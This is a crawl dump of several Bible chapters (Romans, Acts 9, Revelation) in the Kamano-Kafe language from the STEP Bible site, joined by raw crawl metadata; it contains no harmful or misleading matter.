úwoi mirán-oro siráisasa miwívímbá miwí túma sáwíꞋa kwéowe. 25 Áánútun-aai árair-aimba araaisésa kampar-áímbá kwégwaresa Áánútu amápa-tantaaꞋa taróruraiwaina imáyáa íma mósá marésa kwená mayáí íma kwémaesa kwemó uráin-tantaakona imáyáa mósá marésa mintántáákóná mayáí kwémayaawe. Áánútu áwíre suꞋmai mósá márááraamba áraiꞋa mindá íma mósá kwémaraawe.\n26 kwaási mirá-sáwíꞋá kwéontavena Áánútu ánaaemba umátimena séna sáwí-imayaayaveꞋo tirááíyaveꞋo ónááomba úwoi mirán-oro siráisasa aaraí tuwaiꞋmááꞋa tiyuwésa keíyái kesuwainíné sisaná kesuwairé sésa sáwíꞋa úmae nááówasa 27 kwaaí miráumai tuwainímbááꞋa tiyuwésa keíyái kesuwainí kesuwai símae kwénaaesa mirá-sáwíꞋá úmae kwénaaontavena Áánútu miwí túraꞋa sáwí-meyamba arupí umái kwétimiye.\n28 Áánútu kwenáái árair-aimba arááíséntavenawe séna ánaaemba umátímísana miwítí sáwí-imayaago táái tinkéna isasá kentí imáyáavinkeniꞋo kwéomba uwóvíꞋa kwéowe. 29 óꞋon-oꞋo-sawi-imayaago miwívímbá anómba isasá sáwíꞋo kwéomba íma agandésa túran-anda ésa sáwíꞋa umátinkesa kaweꞋ-máyáímó kwémayaantavesa tirunkó simái sáwíꞋa kwéumatinkesa tínkamowasa púwówasa aaisambá sésa kampaꞋá simátiyuwesa simái sáwíꞋa kwéumatinkesa kwantánaanta-aimba símae kwénaaesa 30 túwíꞋa kumínkwáe sésa kampar-áímbá kwésesa Áánútumba tíyámba kwéumankesa sáwí-aimba kwésimatinkesa kampaꞋá séꞋa anón-kwaasiya úne sésa túma maé iyésa aúná-sawi-mayai mayánáe sésa mirá ésa tinóvowi táái araaisésa 31 tirumpimbá kawer-áímbá íma kwáyáísasa simáímo asirámakainiꞋa íma ésa miwítí kwaásiti imáyáa íma ésa tirumbá íma umátinkesa mirámó kwéomba 32 Áánútu ámáámba símarena séna mirá-sáwíꞋó kwéowai puwónááowe siráimba isésa íma ivátúwáamba mirá úmae iyésa íma agandésa mirámó kwéowaiyavesa aamoí kwéowe.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Rom.1","date":"2018-04-24T18:23:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125947033.92\/warc\/CC-MAIN-20180424174351-20180424194351-00494.warc.gz","language":"kze","language_score":1.0000058413,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 1.000005841255188}","num_words":800,"character_repetition_ratio":0.049,"word_repetition_ratio":0.015,"special_characters_ratio":0.153,"stopwords_ratio":0.161,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Acts 9\nSóro Ísun-aaiyavai áraire siráin-kwasai.1 minkánáámá Sóro Ísóigona aampaꞋá kwéguwaiyavena arumbá sáwíꞋa éna tínkamonae síma-simaꞋa kwéena aivaꞋ-mónó-káwáánákónópaꞋa 2 koáísaa ena séna aúvái agaimái símínaꞋa maimaéꞋa Támásikasi-naopaꞋo Yútaa-monoꞋ-naumpimpaꞋo máyáan-kwaasiti anón-kwaasi mátíméno súwana owé séna mináímbá agaimaréna séna Sóro Ísuna aampaꞋá kwégwiyawai tivakáá-umai tuwánéna tátoꞋmai tíꞋmaena teémena YérúsaremuvaꞋa ándávaꞋa mátiyuwaniye séna agaimaréna súwana 3 Sóro mináúváí maimaéna kweémena Támásikasi-naopaꞋa egwaaꞋá kúmba kwíyómpakemba ságayamba tawáonkaan-tantaaꞋa tuwówana kuména aúgáyáagaya úwana 4 tuvamúwana aaigówé suꞋmai séna Sóroo nóra séwa kembá sáwíꞋa kwéono súwana 5 emá nááwa seénó súwana kemá Ísuma súmpo kembá sáwíꞋa umásinkaampo 6 usásine Támásikasi-naopaꞋa koménana moóráwaimo síndantemba mirán-uwo súwasa 7 Sóroemo kun-kwáásí íma aaí sumbá mésa íma kwaási aneꞋá kwéawanesa aaimó súne suꞋmai ísówana 8 Sóro usásinomba aúramba íma kaweꞋá umái awánówasa kwaási ayáán-toꞋmaesa Támásikasi-naopaꞋa máánkarowana 9 kaumbo-nóꞋwáámbá ména íma aúramba awánéna toómbá nombá íma naráiye.\n10 Sóro kaumbo-nóꞋwáámbá kwaúwana moóráwai TámásikasivaꞋa ména Ísuna aampaꞋá kúwai áwíꞋa Ánánáesima aúramba karákéna kaainkááníꞋa umái awánómba Ísóigo simámena séna Ánánáesiyo súwana wó séna Ísóigoo kemá úne súwana 11 usásine aampaꞋá kwaaó. minánkó áwíꞋa apumó uráin-ampaꞋa kuré Yútásina naaúmpaꞋa kwée moóráwai Táásási-naopakewai áwíꞋa Sóromba koawánaao. kwe námúnaa kwésiye. 12 kaainkááníꞋa awánarainkaꞋa moóráwai áwíꞋa Ánánáesi téna aneꞋá tátoraisana aúramba kaweꞋá umái awánaraiye Ísóigo súwana 13 Ánánáesi séna Ísóigoo sáwíva-kwaasi kwenáái simásímakaawe. YérúsaremuvaꞋa ená kwaási sáwíꞋa umátínkarain-aimba simásímakaawe. 14 aivaꞋ-mónó-káwáánákó aúvái agaimái ámísana ená imáyáa mósá máráan-kwaasi ándávaꞋo tiyuwáíndayavena TámásikasivaꞋa tiráiye súwana 15 Ísóigo séna kesí mayáí áménana kesáái kosimátin-tasimatimba óꞋon-daopaken-kwaasiye kawáá-kwáásíyé kesí kwaási Ísareri-kwaasiye kosimátin-tasimatimba ínímba po usásine kwenópaꞋa kwinaná 16 kesí mayáí Sóro kwémayainasa kwaási sáwíꞋa umánkanaaowe. mindáyaveꞋa ke agaráárankanaumne Ísóigo siráiye.\n17 súwana Ánánáesi iséna kwéna sún-daumpaꞋa uména Sóro aneꞋá ayáámba tátorena séna Sóroo kesí kwaásima óne. aampaꞋá kwéte Ísóigo Ísumba awánaraandawaima siꞋmáráísaꞋa túne. aúramba kaweꞋá umái awánenana Áánútun-amanko arupimbá anómba umánkaindayavena siꞋmáráísaꞋa túne súwana 18 Sóro aúrampinkemba amanonoí tákúwana aúramba kaweꞋá umái awánéna usásinowana Ánánáesi monoꞋ-nómbá pérankowana 19 toómbá násuwena áúgoma kaweꞋá úwana méraiye.\nSóro TámásikasivaꞋa simátímakain-kwasai.Sóro TámásikasivaꞋa évakaꞋ-noꞋwaamba kwaéna Ísuna aampaꞋá kwéguwaise ména 20 avekáán-úwana monoꞋ-náúmpáꞋá uména Ísun-aai simátimena séna áraiꞋa Ísuma Áánútu áánimban-iye súwasa 21 kwenáái ísón-kwaasi táátavai ésa moórá-morawai tísaaisaa esa sésa YérúsaremuvaꞋa Ísuna imáyáa mósá máráan-kwaasi tínkamin-kwaasiman-iye. Ísuna imáyáa mósá máráan-kwaasi tíꞋmae ándávaꞋa mono-káwáá-kwáásíráꞋó mátinkanae séna maankáꞋó tiráin-kwaasiman-iye. ÍsumpaꞋa téna máyáiye sésa táátavai uráawe.\n22 suwaná Sóro asiramái simátímaꞋmae iyéna séna áraiꞋa Áánútumo usásinankaiwaimba amuꞋmaráúndawaiya Ísuman-iye séna kwenááigo iyúwasa Támásikasivaken-Yutaa-kwaasi isésa kwembá íma anondá simámakaawe.\n23 íma anondá simámúmba sáwívaꞋ-noꞋwaamba kwaésa torupamái mésa Sórona ámááyu-aimba sésa 24 tuvuwíyanesa noꞋwáámba kwáyáꞋwái Támásikasi-naokona óntan-kurigona aaumémpaꞋa mésa ontaráꞋá takárákwi-karakwi kwéuwana moóráwai ámááyu-aimba sumbá kosimámuwasa 25 moórá-noꞋwaamba Sóron-aai isésa Ísuna aampaꞋá kwéguwai Sóromba powaivímbá áítumai óntan-kurigona avaapimbá túsúyuwesa ándára tátoresa túwówana kumeémena marapáꞋá móruna tuwéna kóuraiye.\nSóro YérúsaremuvaꞋa komérain-kwasai.26 Sóro Yérúsaremu-naopaꞋa kweémena kwéna séna Ísuna aampaꞋá kwégowaise koménaeꞋa kúne súwasa miwí sésa Ísun-aai íma ísaraiwai kampar-áímbá kwésiye sésa kwenáároi inkáísúwana 27 moóráwai áwíꞋa Páánápáasi Sóron-aai iséna kaweꞋá úwana áíꞋmaena aantá-kwaasitopaꞋa kwéna Sóron-aai kosimátimena Sóro Támásikasi-ampaꞋo kwégwenamo Ísóigombo awánówana aaí simámakain-aimba simátimena Sóro Támásikasi-naopaꞋo Ísun-aaimo asiramáímo simátímaꞋmaena kuráin-aimba simátimuwasa 28 isésa áraire suwaná Sóro miwísé ména Ísuna asirayámbá kwáyowana Yérúsaremu-naopaꞋa Ísun-aai asiramái kosimátin-tasimatin-ena 29 óꞋon-Yutaa-kwaasi Kíríki-kwaasi tááivinkemba kwésen-kwaasi simátimuwasa aaí kwésima-kwesiman-esa tuvuwónáe sésa 30 ámááyu-aimba sumbá Ísuna aampaꞋá kuwáí isésa Sóromba áíꞋmaesa kweémesa Sísáriyaa-naopaꞋa máankesa sésa Táásási-naopaꞋa kwaaó sésa aiꞋmárówana mindáópaꞋa kóuraiye.\n31 kóúwasa Ísuna aampaꞋó kun-kwáásímó tínkamumba étínkówasa aánoumai kwempaꞋá maésa Yútiyaa-ayampaꞋa Káríri-ayampaꞋa Sámériyaa-ayampaꞋa Ísuna aampaꞋá kwéguwai aánoumai kwempaꞋá máyówana Áánútun-amankoma túwaꞋnaa úwasa asiramái mésa Ísun-aai simátímúwasa isésa áraire sésa mirá kwéesa sáwíva-kwaasi-iꞋa ésa Ísóigo áwíꞋa mósá marésa kwenaísamaivimba méraawe.\nPítaa Árítaa-naopaꞋa kuráin-kwasai.32 Pítaa aampaꞋá kwénaaena naaóꞋ-nao-kwaasiti naaópaꞋa kwéna Áánútuna kwaási tuwánáíndayavena Árítaa-naopaꞋa kúmba 33 moóráwai áwíꞋa Íniyasi ména aambó naaí íma naaéna avakaumboé-ima maisuwéna naaúmpare suꞋmai ména kwégwauwana 34 Pítaa awánéna séna Íniyasiyo Ísu Káráísiti asóvamankaivo usásinke ená kwandaaí arusaaó súwana usásinkwena kúwasa 35 Árítaa-naopaken-kwaasiye Séróno-naopaken-kwaasiye amápaꞋa awánésa ÍsóigompaꞋa tésa méraawe.\nPítaa Yópaa-naopaꞋa kuráin-kwasai.36 Yópaa-naopaꞋa moórá-ininko ména áwíꞋa Tápítaama póna Kíríki-kwaasi tááivinkemba mináwíꞋa Tókáasiye kwésuwana kwemá Ísuna aampaꞋá kún-inimba aasiyaaí kaweꞋ-máyáí kwémaena óísamba íma makón-kwaasi kwétuwaꞋnaa úwana 37 áíꞋa úwana puwúwasa kwenáúma sese umásuwesa maimaésa ávúmayaatanaan-daumpaꞋa móankaraawe. 38 Yópaa-naopakemba Írítiyaa-naopaꞋa egwaaꞋá pósa Yópaavaken-kwaasi Ísuna kwaási Pítaa ÍrítiyaavaꞋa tamáyon-aimba isésa kae-kwáásí tiꞋmárówasarai Pítaamba kosimámesarai sésarai isaaisé kesópata tiyó sésa siꞋmáráawakai túye suyaná 39 Pítaa usásinena mindáraise kúwasa áíꞋmaesa minínímbá puwúwasa matuwé máyón-daumpaꞋa ávúmayaatanaan-daumpaꞋa íyúwasa PítaanopaꞋa ketorínímbá tayorupamái maésa ívíꞋa tésa Tókáasi íma pukáinkaꞋa aru-símakain-unankwatoiye sésa agarááránkówana 40 awánéna séna máápa kárúwaaro súwasa kúmúwana Pítaa kívairena ÍsóigompaꞋa námúnaa simásuwena mégwantena minínímbá awánéna séna Tápítaao usásinaao súwana aúramba kwégararena Pítaamba awánéna usátorauvaꞋa maúwana 41 Pítaa kousásinankena Ísuna aampaꞋá kun-kwáásíyé ketoríníné tááyowasa áúvamankomba uawánésa 42 Yópaa-naopaꞋa kosimátímaꞋmaesa kuwasá isésa sáwíva-kwaasi Ísóigon-aaiyavesa áraire sésa kwenkáꞋá aráápamai máyówana 43 Pítaa Yópaa-naopaꞋa sáwívaꞋ-noꞋwaamba kwaéna moóráwai áwíꞋa Sáímoni kwená naaúmpaꞋa máyowana minkwáásígó kwaan-áúwarasinei kwená mayáí mayón-kwaasigona naaúmpaꞋa méraiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Act.9","date":"2018-04-21T23:11:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945459.17\/warc\/CC-MAIN-20180421223015-20180422003015-00440.warc.gz","language":"kze","language_score":0.999989152,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999891519546509}","num_words":891,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.109,"flagged_words_ratio":0.0,"lang_id_score":0.989,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Romans 16\nkaweꞋá umái máéro siráin-kwasai.1 moórá-ininko áwíꞋa Vípi kesímánaakaanta éna Áánútuna kwaási Sénkíriyaa-naopakewai kwétuwaꞋnaa-isaꞋa kwenáái simátimune. 2 keinárawate kwesé Ísóigona kwaási ontávéꞋa kentópaꞋo kwínímba aamoí umánkeꞋa keséya maiyó séꞋa évaka-tantaaꞋo kwempímbó ímo kwáyáinda áwaꞋnaa oro. sáwívarawai túwaꞋnaa ena kenkwáráꞋá súwaꞋnaa intávéꞋa póꞋa áwaꞋnaa oro.\n3 moórá-ininko áwíꞋa Párísiraawe awaikó áwíꞋa Ákwíraawe kaweꞋá umái máékaiyo kwésimatimune. mindáraiye kewé Ísu Káráísitina mayáíyá kwémayaumne. 4 ááéma sínkamiyakai puwúyavo-imayaa íma ésarai súwaꞋnaa uráayaꞋa aamoí kwéumatinkaumne. kewé suꞋmai ímanivo óꞋonkaa-kwaasi óꞋon-oꞋom-baravakewai Áánútuna kwaásigwaraꞋa aamoí kwéumatinkaawe. 5 mindáraiti naaúmpaꞋa Áánútuna imáyáa ésa torupamái kwémaewaiyaveꞋa kaweꞋá umái máéro kwésimatimune.\nmoóráwai áwíꞋa Épinitasi kwemá kesí kwaási-iꞋa kwéintaveꞋa kaweꞋá umái maiyó kwésimamune. kwemá Ésiyaa-maravakewai aivaꞋá Ísu Káráísitin-aaiyavena áraire siráiwaiman-iye. 6 moórá-ininko áwíꞋa MáríyaantaveꞋa kaweꞋá umái maiyó kwésimamune. kwemá keinárawatavena imáyáa éna anóm-bayai kwémayaiye. 7 kaeꞋá Yútaa-kwaasi túwíꞋa Ádónaikasiye YúníyasinteyaveꞋa kaweꞋá umái máékaiyo kwésimatimune. kemá Ísu Káráísitin-aaiyaveꞋa íma áraire siráundaraꞋa áraire siráayawai Ísuna aantá-kwaasiyomba minkáéꞋnárai tuwánaraan-kwaasirai ésarai ááéma kesé ándáma uráaiye.\n8 moóráwai ÁmpíríyetasintaveꞋa kaweꞋá umái maiyó kwésimamune. kwemá kesí kwaási-iꞋa éna Ísóigoe tarúmai máyáiye. 9 moórá ÉpáanintaveꞋa kaweꞋá umái maiyó kwésimamune. kwemá kesé Ísu Káráísitina mayáí kwémayaiye. moóráwai kesí kwaási-iꞋa iwáímá áwíꞋa SítékisintaveꞋa kaweꞋá umái maiyó kwésimamune. 10 moóráwai Ápérísi Ísu Káráísitina aampaꞋá asiramái kwégwaraiwaintaveꞋa kaweꞋá umái maiyó kwésimamune. Árísítopurasina akúntávéꞋa kaweꞋá umái máéro kwésimatimune. 11 moórá Yútaa-kwaasigo áwíꞋa ÉrótiyoninteyaveꞋa Násísáasina akúmbá Ísu Káráísitina kwaásiyeyaveꞋa kaweꞋá umái máéro kwésimatimune.\n12 moóráwai Táráívinae moóráwai Táráívosiye mindárai Ísóigona mayáí kwémayaayawaiyaveꞋa kaweꞋá umái máékaiyo kwésimatimune. moóráwai Pésísi Ísóigo Ísuntavena imáyáa éna anóm-bayai kwémayaiwaintaveꞋa kaweꞋá umái maiyó kwésimamune. 13 moóráwai Árúvusi Ísu Káráísitina mayáímó kwémaenamo usáyaaitaraiwainte anówa kesinóraamba uráin-ininkoteyaveꞋa kaweꞋá umái máékaiyo kwésimatimune. 14 évakarawai túwíꞋa Ásínkiritasiye Vírígonowe Émísiye Pátáropasiye Émásiye miwísé Ísóigona kwaási máyáawaiyaveꞋa kaweꞋá umái máéro kwésimatimune. 15 évakarawai túwíꞋa Vírórógasiye Yúriyaawe Néríyasiye kwenámáánaakowe Órímpasiye miwísé Áánútuna kwaási máyáawaiyaveꞋa kaweꞋá umái máéro kwésimatimune.\n16 keinárawapimba moórá-morawaiti imáyáa kwéeꞋa tiyáámba tíméro. Ísu Káráísitina kwaási amáparawai keinárawatavesa sésa kaweꞋá umái máéro kwésimatimewe.\n17 kesí kwaásiyono. maarán-áímbá asiramái simátimune. évakarawai simátímakaunda-aimba íma kwaꞋmái sésa kampar-áímbá kwésimatimewasa isésa taaínkaar-esa évakarawai kawer-ámbá tuwésa sáwí-ampaꞋa kwégowe. kárákwiyeꞋa mirán-kwáásí tínaaemba umátíméro. 18 mirán-kwáásí kentáásí Ísóigo Ísu Káráísitina mayáí íma kwémaesa sáwí-imayaayavesa tirááíyavaimo om-báyáí kwémaesa kampaꞋá simátiyuwanae sésa kwaasái kwésimatimesa simái tirumbá kwéairaraawasa ímo kaweꞋó umáímo aaimó ísáawai minkámpár-áíntávésa áraire kwésewe. 19 keinárawaꞋo áséi-kwasaimo asiramáímo taagwiyávón-aimba amáparawai kwéisaantaveꞋa imáyáa éꞋa aamoí kwéumatinkaumne. kaweꞋ-máyáíyávéꞋa imáyáa úmae iyéꞋa sáwí-mayaiyaveꞋa íma imáyáa kwéomba mindá sirááíma kwétaiye. 20 Áánútu paru kwéumasinkaiwaiya túwaꞋnaa ínaꞋa sáwíyankaꞋa Sáátáánigomba usáyaaitanaaowe. kentáásí Ísóigo Ísu úwoi túwaꞋnaa úmae íyíntaveꞋa námúnaa kwésune.\n21 kesé mayáí kwémayaiwai áwíꞋa Tímóti kaweꞋá umái máéro kwésimatimiye. évaka-Yutaa-kwaasi túwíꞋa Árúsiyasiye Yésónowe Sósipataawe kaweꞋá umái máéro kwésimatimewe.\n22 kemá Tétíyasi Póro sin-áímbá maanáúváí kwéagayeꞋa keináraware kesé Ísóigona kwaási úndayaveꞋa kaweꞋá umái máéro kwésimatimune.\n23 moóráwai áwíꞋa Káyási kaweꞋá umái máéro kwésimatimiye. kwená naaúmpaꞋa kwégwaunasa Áánútuna imáyáa kwéon-kwaasi mindáúmpáꞋá torupamái kwémaewe. moóráwai áwíꞋa Érásátasi kwená naaópakewaiti óntankaꞋa kárákwiraiwai kaweꞋá umái máéro kwésimatimiye. moóráwai áwíꞋa Kótasi Áánútuna kwaásigo kaweꞋá umái máéro kwésimatimiye.\n[ 24 kentáásí Ísóigo Ísu Káráísiti úwoi túwaꞋnaa úmae íyímba árair-aimban-iye séꞋa námúnaa kwésune.]\n25 Áánútu áwíꞋa anómba úmae íyóno. Ísu Káráísitin-aai áséi-aimba kwésimatimun-aimba ísareꞋa áraire kwésemba póna Áánútu kanaán-umai asiramátínkáimba póꞋa kwenááiyaveꞋa asirayán-ímáyáá kwéowe. naaóváꞋá Áánútu mináséí-kwásáí aúpáꞋá makówasa kentáá síkwáꞋnáwe miwí tísaavutantamba uráawaiye mináínkóná ááimba íma ísaraawe. 26 Áánútun-aai simátímakaawai mináímbá agaimakáawe. Áánútu maíꞋmaiꞋa kwéiwai ívéꞋa paáriniye kwésimba pósa amápaꞋ-maravaken-kwaasi mináínkóná ááimba isánááowe. mináíntávésa áraire sésa taagwiyavónááontavena mináínkóná ááimba paáruraiye. 27 Ísu Káráísitimo uráintaveta Áánútu áwíꞋa anómba úmaeta kwéiyune. Áánútu mimbórá-Ísóígó ména kweyáá amápa-tantaatavena ísaraiwai kwenáwíꞋa anómba úmaeta kwéiyundaya árair-aimban-iye.\nkemá Póro súnda-aimba ánásaiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Rom.16","date":"2018-04-19T19:44:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125937016.16\/warc\/CC-MAIN-20180419184909-20180419204909-00264.warc.gz","language":"kze","language_score":1.0,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 1.0}","num_words":706,"character_repetition_ratio":0.12,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.16,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Revelation of John 10\nsáwíyan-kwandaaigona kwaasái.1 mirá úmae iyúwaꞋa minkákémbá awánaawanda kwíyómpaken-kwayoꞋnaꞋa asirayáwáí kwíyómpakemba kuména ainánkó káátarowana aꞋnónkáꞋá osámbá tawenówana aaváúmó kumperénamo aúgáyáagayaamo intembá óikakemba mirá kwéuwana naamayáánkakembo iramó kwégaintemba mirán-áísámáímá kwáyowana 2 sáwíyan-kwandaai arírámai ayáámpimba tokéna ayáánúrapar-aisamaima uwí-nómpímbá támarena ayáánépar-aisamaima mararáꞋá támarena 3 kwaási inkáíséraan-kwaꞋa túwana kwíyónaai avakaetéraꞋa súwaꞋa 4 avakaetéraꞋo kwíyónaaimo sún-aimba aúváívimba agayánáe kwéowanana moóráwai kwíyómpakemba simásimena séna mináímbá aúpáꞋá kwáyáivo íma aúváívimba agayaaó súwaꞋa 5 minkákémbá awánaawanda kwíyómpaken-kwayoꞋnaꞋa moórá-aisamai marará téna moórá-aisamai tááꞋmai uwí-nómpímbá ténamo úwai ayáámba mósá tuwéna 6 Áánútuma aasiyaasí maíꞋmaiꞋa íníwai aúrankaꞋa kwíyóne miváꞋá kwáyáin-tantaare marawé miváꞋá kwáyáin-tantaare uwí-nóné miwán-arumpimba kwáyáin-tantaare úmakowai aúrankaꞋa asiramái séna íma ókwarata amuꞋmaránaunanaya paárinin-kanaama kwétiye. 7 naaóváꞋá Áánútu kwená kwayó-kwáásí kwenáái simátímakowaiyavena séna aúpáꞋá tukáunda-aimba paáriniye siráimba avaꞋmoraénarawaꞋa kwíyómpakendarawaꞋa uwíremba áꞋa tuvúwómba póna tínaaemba moóráwai uwíremba tuvuwínana mináímbá paáriniye siráiye.\n8 minkákémbá kwíyómpakewai simásímakowai simásimena séna moórá-aisamai marará téna moórá-aisamai tááꞋmai uwí-nómímbá ténamo iwáí ayáámpinkemba sáwíyan-kwandaai aríráyokaimba komayaaó súwaꞋa 9 kwenópaꞋa kwéꞋa séꞋa sáwíyan-kwandaai simiyó séwánana séna maimái naaó. enóipimba taakáámbá ínana enarumpimbá ikaaꞋá váníye súwaꞋa 10 minkwándááí maimái násuwaawanana sóipinkemba taakáámbá úwana sirumpinkémbá ikaaꞋá vówana 11 minkákémbá simásimena séna moórágwaraꞋa Áánútun-aai simátiminiyone. óꞋon-oꞋon-kuwara-kwaasiye amápaꞋ-maravaken-kwaasiye óꞋon-oꞋon-aimba kwésen-kwaasiye kawáá-kwáásígwáráré Áánútumo ínín-aimba simátiminiyone simásímakaiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Rev.10","date":"2018-04-21T07:57:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945082.84\/warc\/CC-MAIN-20180421071203-20180421091203-00207.warc.gz","language":"kze","language_score":0.9993638396,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9993638396263123}","num_words":346,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.055,"flagged_words_ratio":0.0,"lang_id_score":0.99,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Revelation of John 16\nÁánútu áwááꞋa tíkain-kwasai.1 minkákémbá isááwánda monoꞋ-náúmpákémbá moóráwai minávákáéténárawatavena anónkaꞋa séna avakaeté-taavepinkemba Áánútu áwááꞋo tíyín-tantaaꞋa marapáꞋá ayáúsuwaaro súwana 2 minávákáéténárawapinkemba aivakéwáí kwená táávepinkemba marapáꞋá ayáúsuwowasa anón-avaa-kwankona aúvái tineꞋá agaimakésa kwenáúwawakaaniꞋo úmárówaina imáyáa mósá makáawaitopaꞋa anón-karevutomba túwawaapimpaꞋa kówana títe uráiye.\n3 úwana kwenánaaembo máyowai kwená táávepinkemba uwí-nómpáꞋá ayáúsuwowana uwí-nónkó púwín-kwaasigona naaeráámbá úwana uwí-nómpínkén-kwámbá putásaraiye.\n4 putásowana minkáéꞋnárai tínaaembo máyowai kwená táávepinkemba nonayumpinkáꞋá ayáúsuwowana naae-nómbá aúkúwaꞋa 5 minkákémbá isááwánda kwíyómpaken-kwayoꞋnaꞋa nonkáꞋá kárákwirowai séna\n- emá kawer-úramba umái máyaandawai aivaꞋá mé ívékwaraꞋa máyaandawai misáwí-méyámbó tímakaanda kaweꞋá umái arupí uráane.\n10 íma suwaná minéíyáíndárau tínaaembo máyowai kwená táávepinkemba anón-avaa-kwanko kwaásiraꞋa kawáá urópaꞋa ayáúsuwowana túnkuwasa kwemá kawáá urówai tuní-áyámpáꞋá mésa títe kwéuwasa kwááꞋa kwétesa timááví túwááyaandei kwéunkaresa 11 títe kwéuwana karevúꞋa kwégontavai Áánútumba kwíyómpakewaimba simái sáwíꞋa umánkómbanivo íma sáwí-mayai tuwésa kwenópaꞋa tiráawe.\n12 íma tuwaná minéváꞋááséínárawa tínaaembo máyowai kwená táávepinkemba anón-donko áwíꞋa Yúvérétísi-nonkaꞋa ayáúsuwowana mindómbá káꞋnáguwasa aaváúmó usón-ayampaꞋ-marapimpaꞋa kawáá urówaiti aambá kwíyúntavena mindómbá kaꞋnáguraiye.\n13 mindómbá káꞋnáguwaꞋa awánaawanda arááínkó óipinkemba awáímá túwana anón-avaa-kwanko óipinkemba awáímá túwana kampar-áímbó simátímakowai óipinkemba awáímá túwasa minkáúmbó-áwáígó tirumpimbá kaumbo-táráváá-kwámbá mésa óꞋon-oꞋom-bayai ímo awánarom-bayai kwémaesa Áánútuwemo ááiꞋo tíyénesa amápaꞋ-maravaꞋa kwénaaesa kawáá-kwáásí tíꞋmaesa Áánútu amápar-asirayamba tokáiwaina anón-kanaama ááiꞋo 